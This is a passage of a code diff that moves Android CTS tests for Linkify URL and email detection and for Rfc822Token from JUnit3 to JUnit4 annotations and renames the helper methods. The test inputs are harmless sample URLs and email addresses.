+    @UiThreadTest
+    @Test
     public void testAddLinks_withTextView_addsLinksWhenDefaultSchemeIsNull() {
         Pattern pattern = Pattern.compile("\\b((http|https)://)?android\\.com+\\b");
         TextView textView = new TextView(mContext);
@@ -413,7 +435,8 @@
         assertEquals("android.com", spans[1].getURL());
     }
 
-    @SmallTest
+    @UiThreadTest
+    @Test
     public void testAddLinks_withTextView_addsLinksWhenSchemesArrayIsNull() {
         Pattern pattern = Pattern.compile("\\b((http|https)://)?android\\.com+\\b");
         TextView textView = new TextView(mContext);
@@ -428,7 +451,8 @@
         assertEquals("http://android.com", spans[1].getURL());
     }
 
-    @SmallTest
+    @UiThreadTest
+    @Test
     public void testAddLinks_withTextView_prependsDefaultSchemeToBeginingOfLink() {
         Pattern pattern = Pattern.compile("\\b((http|https)://)?android\\.com+\\b");
         TextView textView = new TextView(mContext);
@@ -442,7 +466,8 @@
         assertEquals("http://android.com", spans[0].getURL());
     }
 
-    @SmallTest
+    @UiThreadTest
+    @Test
     public void testAddLinks_withTextView_doesNotPrependSchemeIfSchemeExists() {
         Pattern pattern = Pattern.compile("\\b((http|https)://)?android\\.com+\\b");
         TextView textView = new TextView(mContext);
@@ -458,189 +483,183 @@
 
     // WEB_URLS Related Tests
 
-    @SmallTest
+    @Test
     public void testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld()
-            throws Exception {
+            {
         Spannable spannable = new SpannableString("hey man.its me");
         boolean linksAdded = Linkify.addLinks(spannable, Linkify.ALL);
         assertFalse("Should not add link with unknown TLD", linksAdded);
     }
 
-    @SmallTest
-    public void testAddLinks_shouldNotAddEmailAddressAsUrl() throws Exception {
+    @Test
+    public void testAddLinks_shouldNotAddEmailAddressAsUrl() {
         String url = "name@gmail.com";
-        assertAddLinksWithWebUrlFails("Should not recognize email address as URL", url);
+        verifyAddLinksWithWebUrlFails("Should not recognize email address as URL", url);
     }
 
-    public void testAddLinks_acceptsUrlsWithCommasInRequestParameterValues() throws Exception {
+    @Test
+    public void testAddLinks_acceptsUrlsWithCommasInRequestParameterValues() {
         String url = "https://android.com/path?ll=37.4221,-122.0836&z=17&pll=37.4221,-122.0836";
-        assertAddLinksWithWebUrlSucceeds("Should accept commas", url);
+        verifyAddLinksWithWebUrlSucceeds("Should accept commas", url);
     }
 
-    @SmallTest
-    public void testAddLinks_addsLinksForUrlWithProtocolWithoutTld() throws Exception {
+    @Test
+    public void testAddLinks_addsLinksForUrlWithProtocolWithoutTld() {
         String url = "http://android/#notld///a/n/d/r/o/i/d&p1=1&p2=2";
-        assertAddLinksWithWebUrlSucceeds("Should accept URL starting with protocol but does not" +
+        verifyAddLinksWithWebUrlSucceeds("Should accept URL starting with protocol but does not" +
                 " have TLD", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesProtocolCaseInsensitive() throws Exception {
+    @Test
+    public void testAddLinks_matchesProtocolCaseInsensitive() {
         String url = "hTtP://android.com";
-        assertAddLinksWithWebUrlSucceeds("Protocol matching should be case insensitive", url);
+        verifyAddLinksWithWebUrlSucceeds("Protocol matching should be case insensitive", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesValidUrlWithSchemeAndHostname() throws Exception {
+    @Test
+    public void testAddLinks_matchesValidUrlWithSchemeAndHostname() {
         String url = "http://www.android.com";
-        assertAddLinksWithWebUrlSucceeds("Should match valid URL with scheme and hostname", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match valid URL with scheme and hostname", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesValidUrlWithSchemeHostnameAndNewTld() throws Exception {
+    @Test
+    public void testAddLinks_matchesValidUrlWithSchemeHostnameAndNewTld() {
         String url = "http://www.android.me";
-        assertAddLinksWithWebUrlSucceeds("Should match valid URL with scheme hostname and new TLD",
+        verifyAddLinksWithWebUrlSucceeds("Should match valid URL with scheme hostname and new TLD",
                 url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesValidUrlWithHostnameAndNewTld() throws Exception {
+    @Test
+    public void testAddLinks_matchesValidUrlWithHostnameAndNewTld() {
         String url = "android.camera";
-        assertAddLinksWithWebUrlSucceeds("Should match valid URL with hostname and new TLD", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match valid URL with hostname and new TLD", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesPunycodeUrl() throws Exception {
+    @Test
+    public void testAddLinks_matchesPunycodeUrl() {
         String url = "http://xn--fsqu00a.xn--unup4y";
-        assertAddLinksWithWebUrlSucceeds("Should match Punycode URL", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match Punycode URL", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesPunycodeUrlWithoutProtocol() throws Exception {
+    @Test
+    public void testAddLinks_matchesPunycodeUrlWithoutProtocol() {
         String url = "xn--fsqu00a.xn--unup4y";
-        assertAddLinksWithWebUrlSucceeds("Should match Punycode URL without protocol", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match Punycode URL without protocol", url);
     }
 
-    @SmallTest
-    public void testAddLinks_doesNotMatchPunycodeTldThatStartsWithDash() throws Exception {
+    @Test
+    public void testAddLinks_doesNotMatchPunycodeTldThatStartsWithDash() {
         String url = "xn--fsqu00a.-xn--unup4y";
-        assertAddLinksWithWebUrlFails("Should not match Punycode TLD that starts with dash", url);
+        verifyAddLinksWithWebUrlFails("Should not match Punycode TLD that starts with dash", url);
     }
 
-    @SmallTest
-    public void testAddLinks_partiallyMatchesPunycodeTldThatEndsWithDash() throws Exception {
+    @Test
+    public void testAddLinks_partiallyMatchesPunycodeTldThatEndsWithDash() {
         String url = "http://xn--fsqu00a.xn--unup4y-";
-        assertAddLinksWithWebUrlPartiallyMatches("Should partially match Punycode TLD that ends " +
+        verifyAddLinksWithWebUrlPartiallyMatches("Should partially match Punycode TLD that ends " +
                 "with dash", "http://xn--fsqu00a.xn--unup4y", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesUrlWithUnicodeDomainName() throws Exception {
+    @Test
+    public void testAddLinks_matchesUrlWithUnicodeDomainName() {
         String url = "http://\uD604\uAE08\uC601\uC218\uC99D.kr";
-        assertAddLinksWithWebUrlSucceeds("Should match URL with Unicode domain name", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match URL with Unicode domain name", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesUrlWithUnicodeDomainNameWithoutProtocol() throws Exception {
+    @Test
+    public void testAddLinks_matchesUrlWithUnicodeDomainNameWithoutProtocol() {
         String url = "\uD604\uAE08\uC601\uC218\uC99D.kr";
-        assertAddLinksWithWebUrlSucceeds("Should match URL without protocol and with Unicode " +
+        verifyAddLinksWithWebUrlSucceeds("Should match URL without protocol and with Unicode " +
                 "domain name", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesUrlWithUnicodeDomainNameAndTld() throws Exception {
+    @Test
+    public void testAddLinks_matchesUrlWithUnicodeDomainNameAndTld() {
         String url = "\uB3C4\uBA54\uC778.\uD55C\uAD6D";
-        assertAddLinksWithWebUrlSucceeds("Should match URL with Unicode domain name and TLD", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match URL with Unicode domain name and TLD", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesUrlWithUnicodePath() throws Exception {
+    @Test
+    public void testAddLinks_matchesUrlWithUnicodePath() {
         String url = "http://android.com/\u2019/a";
-        assertAddLinksWithWebUrlSucceeds("Should match URL with Unicode path", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match URL with Unicode path", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesValidUrlWithPort() throws Exception {
+    @Test
+    public void testAddLinks_matchesValidUrlWithPort() {
         String url = "http://www.example.com:8080";
-        assertAddLinksWithWebUrlSucceeds("Should match URL with port", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match URL with port", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesUrlWithPortAndQuery() throws Exception {
+    @Test
+    public void testAddLinks_matchesUrlWithPortAndQuery() {
         String url = "http://www.example.com:8080/?foo=bar";
-        assertAddLinksWithWebUrlSucceeds("Should match URL with port and query", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match URL with port and query", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesUrlWithTilde() throws Exception {
+    @Test
+    public void testAddLinks_matchesUrlWithTilde() {
         String url = "http://www.example.com:8080/~user/?foo=bar";
-        assertAddLinksWithWebUrlSucceeds("Should match URL with tilde", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match URL with tilde", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesUrlStartingWithHttpAndDoesNotHaveTld() throws Exception {
+    @Test
+    public void testAddLinks_matchesUrlStartingWithHttpAndDoesNotHaveTld() {
         String url = "http://android/#notld///a/n/d/r/o/i/d&p1=1&p2=2";
-        assertAddLinksWithWebUrlSucceeds("Should match URL without a TLD and starting with http",
+        verifyAddLinksWithWebUrlSucceeds("Should match URL without a TLD and starting with http",
                 url);
     }
 
-    @SmallTest
-    public void testAddLinks_doesNotMatchUrlsWithoutProtocolAndWithUnknownTld() throws Exception {
+    @Test
+    public void testAddLinks_doesNotMatchUrlsWithoutProtocolAndWithUnknownTld() {
         String url = "thank.you";
-        assertAddLinksWithWebUrlFails("Should not match URL that does not start with a protocol " +
+        verifyAddLinksWithWebUrlFails("Should not match URL that does not start with a protocol " +
                 "and does not contain a known TLD", url);
     }
 
-    @SmallTest
-    public void testAddLinks_partiallyMatchesUrlWithInvalidRequestParameter() throws Exception {
-        String url = "http://android.com?p=value";
-        assertAddLinksWithWebUrlPartiallyMatches("Should partially match URL with invalid " +
-                "request parameter", "http://android.com", url);
-    }
-
-    @SmallTest
-    public void testAddLinks_matchesValidUrlWithEmoji() throws Exception {
+    @Test
+    public void testAddLinks_matchesValidUrlWithEmoji() {
         String url = "Thank\u263A.com";
-        assertAddLinksWithWebUrlSucceeds("Should match URL with emoji", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match URL with emoji", url);
     }
 
-    @SmallTest
+    @Test
     public void testAddLinks_doesNotMatchUrlsWithEmojiWithoutProtocolAndWithoutKnownTld()
-            throws Exception {
+            {
         String url = "Thank\u263A.you";
-        assertAddLinksWithWebUrlFails("Should not match URLs containing emoji and with unknown " +
+        verifyAddLinksWithWebUrlFails("Should not match URLs containing emoji and with unknown " +
                 "TLD", url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesDomainNameWithSurrogatePairs() throws Exception {
+    @Test
+    public void testAddLinks_matchesDomainNameWithSurrogatePairs() {
         String url = "android\uD83C\uDF38.com";
-        assertAddLinksWithWebUrlSucceeds("Should match domain name with Unicode surrogate pairs",
+        verifyAddLinksWithWebUrlSucceeds("Should match domain name with Unicode surrogate pairs",
                 url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesTldWithSurrogatePairs() throws Exception {
+    @Test
+    public void testAddLinks_matchesTldWithSurrogatePairs() {
         String url = "http://android.\uD83C\uDF38com";
-        assertAddLinksWithWebUrlSucceeds("Should match TLD with Unicode surrogate pairs", url);
+        verifyAddLinksWithWebUrlSucceeds("Should match TLD with Unicode surrogate pairs", url);
     }
 
-    @SmallTest
-    public void testAddLinks_doesNotMatchUrlWithExcludedSurrogate() throws Exception {
+    @Test
+    public void testAddLinks_doesNotMatchUrlWithExcludedSurrogate() {
         String url = "android\uD83F\uDFFE.com";
-        assertAddLinksWithWebUrlFails("Should not match URL with excluded Unicode surrogate" +
+        verifyAddLinksWithWebUrlFails("Should not match URL with excluded Unicode surrogate" +
                 " pair",  url);
     }
 
-    @SmallTest
-    public void testAddLinks_matchesPathWithSurrogatePairs() throws Exception {
+    @Test
+    public void testAddLinks_matchesPathWithSurrogatePairs() {
         String url = "http://android.com/path-with-\uD83C\uDF38?v=\uD83C\uDF38f";
-        assertAddLinksWithWebUrlSucceeds("Should match path and query with Unicode surrogate pairs",
+        verifyAddLinksWithWebUrlSucceeds("Should match path and query with Unicode surrogate pairs",
                 url);
     }
 
-    @SmallTest
-    public void testAddLinks__doesNotMatchUnicodeSpaces() throws Exception {
+    @Test
+    public void testAddLinks__doesNotMatchUnicodeSpaces() {
         String part1 = "http://and";
         String part2 = "roid.com";
         String[] emptySpaces = new String[]{
@@ -664,196 +683,269 @@
 
         for (String emptySpace : emptySpaces) {
             String url = part1 + emptySpace + part2;
-            assertAddLinksWithWebUrlPartiallyMatches("Should not include empty space with code: " +
+            verifyAddLinksWithWebUrlPartiallyMatches("Should not include empty space with code: " +
                     emptySpace.codePointAt(0), part1, url);
         }
     }
 
+    @Test
+    public void testAddLinks_matchesDomainNameWithDash() {
+        String url = "http://a-nd.r-oid.com";
+        verifyAddLinksWithWebUrlSucceeds("Should match domain name with '-'", url);
+
+        url = "a-nd.r-oid.com";
+        verifyAddLinksWithWebUrlSucceeds("Should match domain name with '-'", url);
+    }
+
+    @Test
+    public void testAddLinks_matchesDomainNameWithUnderscore() {
+        String url = "http://a_nd.r_oid.com";
+        verifyAddLinksWithWebUrlSucceeds("Should match domain name with '_'", url);
+
+        url = "a_nd.r_oid.com";
+        verifyAddLinksWithWebUrlSucceeds("Should match domain name with '_'", url);
+    }
+
+    @Test
+    public void testAddLinks_matchesPathAndQueryWithDollarSign() {
+        String url = "http://android.com/path$?v=$val";
+        verifyAddLinksWithWebUrlSucceeds("Should match path and query with '$'", url);
+
+        url = "android.com/path$?v=$val";
+        verifyAddLinksWithWebUrlSucceeds("Should match path and query with '$'", url);
+    }
+
+    @Test
+    public void testAddLinks_matchesEmptyPathWithQueryParams() {
+        String url = "http://android.com?q=v";
+        verifyAddLinksWithWebUrlSucceeds("Should match empty path with query params", url);
+
+        url = "android.com?q=v";
+        verifyAddLinksWithWebUrlSucceeds("Should match empty path with query params", url);
+
+        url = "http://android.com/?q=v";
+        verifyAddLinksWithWebUrlSucceeds("Should match empty path with query params", url);
+
+        url = "android.com/?q=v";
+        verifyAddLinksWithWebUrlSucceeds("Should match empty path with query params", url);
+    }
+
     // EMAIL_ADDRESSES Related Tests
 
-    public void testAddLinks_email_matchesShortValidEmail() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesShortValidEmail() {
         String email = "a@a.co";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesRegularEmail() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesRegularEmail() {
         String email = "email@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesEmailWithMultipleSubdomains() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesEmailWithMultipleSubdomains() {
         String email = "email@e.somelongdomainnameforandroid.abc.uk";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartWithDot() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartWithDot() {
         String email = "e.mail@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartWithPlus() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartWithPlus() {
         String email = "e+mail@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartWithUnderscore() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartWithUnderscore() {
         String email = "e_mail@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartWithDash() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartWithDash() {
         String email = "e-mail@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartWithApostrophe() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartWithApostrophe() {
         String email = "e'mail@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartWithDigits() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartWithDigits() {
         String email = "123@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesUnicodeLocalPart() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesUnicodeLocalPart() {
         String email = "\uD604\uAE08\uC601\uC218\uC99D@android.kr";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartWithEmoji() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartWithEmoji() {
         String email = "smiley\u263A@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_matchesLocalPartWithSurrogatePairs()
-            throws Exception {
+            {
         String email = "a\uD83C\uDF38a@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesDomainWithDash() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesDomainWithDash() {
         String email = "email@an-droid.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesUnicodeDomain() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesUnicodeDomain() {
         String email = "email@\uD604\uAE08\uC601\uC218\uC99D.kr";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_matchesUnicodeLocalPartAndDomain()
-            throws Exception {
+            {
         String email = "\uD604\uAE08\uC601\uC218\uC99D@\uD604\uAE08\uC601\uC218\uC99D.kr";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesDomainWithEmoji() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesDomainWithEmoji() {
         String email = "smiley@\u263Aandroid.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_matchesDomainWithSurrogatePairs()
-            throws Exception {
+            {
         String email = "email@\uD83C\uDF38android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_matchesLocalPartAndDomainWithSurrogatePairs()
-            throws Exception {
+            {
         String email = "a\uD83C\uDF38a@\uD83C\uDF38android.com";
-        assertAddLinksWithEmailSucceeds("Should match email: " + email, email);
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
-    public void testAddLinks_partiallyMatchesEmailEndingWithDot() throws Exception {
+    @Test
+    public void testAddLinks_partiallyMatchesEmailEndingWithDot() {
         String email = "email@android.co.uk.";
-        assertAddLinksWithEmailPartiallyMatches("Should partially match email ending with dot",
+        verifyAddLinksWithEmailPartiallyMatches("Should partially match email ending with dot",
                 "mailto:email@android.co.uk", email);
     }
 
+    @Test
     public void testAddLinks_email_partiallyMatchesLocalPartStartingWithDot()
-            throws Exception {
+            {
         String email = ".email@android.com";
-        assertAddLinksWithEmailPartiallyMatches("Should partially match email starting " +
+        verifyAddLinksWithEmailPartiallyMatches("Should partially match email starting " +
                 "with dot", "mailto:email@android.com", email);
     }
 
-    public void testAddLinks_email_doesNotMatchStringWithoutAtSign() throws Exception {
+    @Test
+    public void testAddLinks_email_doesNotMatchStringWithoutAtSign() {
         String email = "android.com";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
-    public void testAddLinks_email_doesNotMatchPlainString() throws Exception {
+    @Test
+    public void testAddLinks_email_doesNotMatchPlainString() {
         String email = "email";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
-    public void testAddLinks_email_doesNotMatchEmailWithoutTld() throws Exception {
+    @Test
+    public void testAddLinks_email_doesNotMatchEmailWithoutTld() {
         String email = "email@android";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_doesNotMatchLocalPartEndingWithDot()
-            throws Exception {
+            {
         String email = "email.@android.com";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_doesNotMatchDomainStartingWithDash()
-            throws Exception {
+            {
         String email = "email@-android.com";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_doesNotMatchDomainWithConsecutiveDots()
-            throws Exception {
+            {
         String email = "email@android..com";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
-    public void testAddLinks_email_doesNotMatchEmailWithIp() throws Exception {
+    @Test
+    public void testAddLinks_email_doesNotMatchEmailWithIp() {
         String email = "email@127.0.0.1";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
+    @Test
     public void testAddLinks_email_doesNotMatchEmailWithInvalidTld()
-            throws Exception {
+            {
         String email = "email@android.c";
-        assertAddLinksWithEmailFails("Should not match email: " + email, email);
+        verifyAddLinksWithEmailFails("Should not match email: " + email, email);
     }
 
-    public void testAddLinks_email_matchesLocalPartUpTo64Chars() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesLocalPartUpTo64Chars() {
         String localPart = "";
         for (int i = 0; i < 64; i++) {
             localPart += "a";
         }
         String email = localPart + "@android.com";
-        assertAddLinksWithEmailSucceeds("Should match email local part of length: " +
+        verifyAddLinksWithEmailSucceeds("Should match email local part of length: " +
                 localPart.length(), email);
 
         email = localPart + "a@android.com";
-        assertAddLinksWithEmailFails("Should not match email local part of length:" +
+        verifyAddLinksWithEmailFails("Should not match email local part of length:" +
                 localPart.length(), email);
     }
 
-    public void testAddLinks_email_matchesSubdomainUpTo63Chars() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesSubdomainUpTo63Chars() {
         String subdomain = "";
         for (int i = 0; i < 63; i++) {
             subdomain += "a";
         }
         String email = "email@" + subdomain + ".com";
 
-        assertAddLinksWithEmailSucceeds("Should match email subdomain of length: " +
+        verifyAddLinksWithEmailSucceeds("Should match email subdomain of length: " +
                 subdomain.length(), email);
 
         subdomain += "a";
         email = "email@" + subdomain + ".com";
 
-        assertAddLinksWithEmailFails("Should not match email subdomain of length:" +
+        verifyAddLinksWithEmailFails("Should not match email subdomain of length:" +
                 subdomain.length(), email);
     }
 
-    public void testAddLinks_email_matchesDomainUpTo255Chars() throws Exception {
+    @Test
+    public void testAddLinks_email_matchesDomainUpTo255Chars() {
         String domain = "";
         while (domain.length() <= 250) {
             domain += "d.";
@@ -861,42 +953,42 @@
         domain += "com";
         assertEquals(255, domain.length());
         String email = "a@" + domain;
-        assertAddLinksWithEmailSucceeds("Should match email domain of length: " +
+        verifyAddLinksWithEmailSucceeds("Should match email domain of length: " +
                 domain.length(), email);
 
         email = email + "m";
-        assertAddLinksWithEmailFails("Should not match email domain of length:" +
+        verifyAddLinksWithEmailFails("Should not match email domain of length:" +
                 domain.length(), email);
     }
 
     // Utility functions
-    private static void assertAddLinksWithWebUrlSucceeds(String msg, String url) {
-        assertAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
+    private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
+        verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
     }
 
-    private static void assertAddLinksWithWebUrlFails(String msg, String url) {
-        assertAddLinksFails(msg, url, Linkify.WEB_URLS);
+    private static void verifyAddLinksWithWebUrlFails(String msg, String url) {
+        verifyAddLinksFails(msg, url, Linkify.WEB_URLS);
     }
 
-    private static void assertAddLinksWithWebUrlPartiallyMatches(String msg, String expected,
+    private static void verifyAddLinksWithWebUrlPartiallyMatches(String msg, String expected,
             String url) {
-        assertAddLinksPartiallyMatches(msg, expected, url, Linkify.WEB_URLS);
+        verifyAddLinksPartiallyMatches(msg, expected, url, Linkify.WEB_URLS);
     }
 
-    private static void assertAddLinksWithEmailSucceeds(String msg, String url) {
-        assertAddLinksSucceeds(msg, url, Linkify.EMAIL_ADDRESSES);
+    private static void verifyAddLinksWithEmailSucceeds(String msg, String url) {
+        verifyAddLinksSucceeds(msg, url, Linkify.EMAIL_ADDRESSES);
     }
 
-    private static void assertAddLinksWithEmailFails(String msg, String url) {
-        assertAddLinksFails(msg, url, Linkify.EMAIL_ADDRESSES);
+    private static void verifyAddLinksWithEmailFails(String msg, String url) {
+        verifyAddLinksFails(msg, url, Linkify.EMAIL_ADDRESSES);
     }
 
-    private static void assertAddLinksWithEmailPartiallyMatches(String msg, String expected,
+    private static void verifyAddLinksWithEmailPartiallyMatches(String msg, String expected,
             String url) {
-        assertAddLinksPartiallyMatches(msg, expected, url, Linkify.EMAIL_ADDRESSES);
+        verifyAddLinksPartiallyMatches(msg, expected, url, Linkify.EMAIL_ADDRESSES);
     }
 
-    private static void assertAddLinksSucceeds(String msg, String string, int type) {
+    private static void verifyAddLinksSucceeds(String msg, String string, int type) {
         String str = "start " + string + " end";
         Spannable spannable = new SpannableString(str);
 
@@ -910,14 +1002,14 @@
                 str.length() - " end".length(), spannable.getSpanEnd(spans[0]));
     }
 
-    private static void assertAddLinksFails(String msg, String string, int type) {
+    private static void verifyAddLinksFails(String msg, String string, int type) {
         Spannable spannable = new SpannableString("start " + string + " end");
         boolean linksAdded = Linkify.addLinks(spannable, type);
         assertFalse(msg, linksAdded);
     }
 
-    private static void assertAddLinksPartiallyMatches(String msg, String expected,
-                                                       String string, int type) {
+    private static void verifyAddLinksPartiallyMatches(String msg, String expected,
+            String string, int type) {
         Spannable spannable = new SpannableString("start " + string + " end");
         boolean linksAdded = Linkify.addLinks(spannable, type);
         URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
diff --git a/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java b/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
index fc826df..47c4544 100644
--- a/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
+++ b/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
@@ -16,14 +16,23 @@
 
 package android.text.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.util.Rfc822Token;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link Rfc822Token}.
  */
-public class Rfc822TokenTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Rfc822TokenTest {
+    @Test
     public void testConstructor() {
         final String name = "John Doe";
         final String address = "jdoe@example.net";
@@ -49,6 +58,7 @@
         assertNull(rfc822Token4.getComment());
     }
 
+    @Test
     public void testAccessName() {
         String name = "John Doe";
         final String address = "jdoe@example.net";
@@ -68,19 +78,19 @@
         assertNull(rfc822Token.getName());
     }
 
+    @Test
     public void testQuoteComment() {
         assertEquals("work", Rfc822Token.quoteComment("work"));
 
         assertEquals("\\\\\\(work\\)", Rfc822Token.quoteComment("\\(work)"));
-
-        try {
-            Rfc822Token.quoteComment(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // issue 1695243, not clear what is supposed to happen if comment is null.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testQuoteCommentNull() {
+        Rfc822Token.quoteComment(null);
+    }
+
+    @Test
     public void testAccessComment() {
         final String name = "John Doe";
         final String address = "jdoe@example.net";
@@ -100,6 +110,7 @@
         assertNull(rfc822Token.getComment());
     }
 
+    @Test
     public void testAccessAddress() {
         final String name = "John Doe";
         String address = "jdoe@example.net";
@@ -119,6 +130,7 @@
         assertNull(rfc822Token.getAddress());
     }
 
+    @Test
     public void testToString() {
         Rfc822Token rfc822Token1 = new Rfc822Token("John Doe", "jdoe@example.net", "work");
         assertEquals("John Doe (work) <jdoe@example.net>", rfc822Token1.toString());
@@ -141,32 +153,30 @@
         assertEquals("", rfc822Token6.toString());
     }
 
+    @Test
     public void testQuoteNameIfNecessary() {
         assertEquals("UPPERlower space 0123456789",
                 Rfc822Token.quoteNameIfNecessary("UPPERlower space 0123456789"));
         assertEquals("\"jdoe@example.net\"", Rfc822Token.quoteNameIfNecessary("jdoe@example.net"));
         assertEquals("\"*name\"", Rfc822Token.quoteNameIfNecessary("*name"));
 
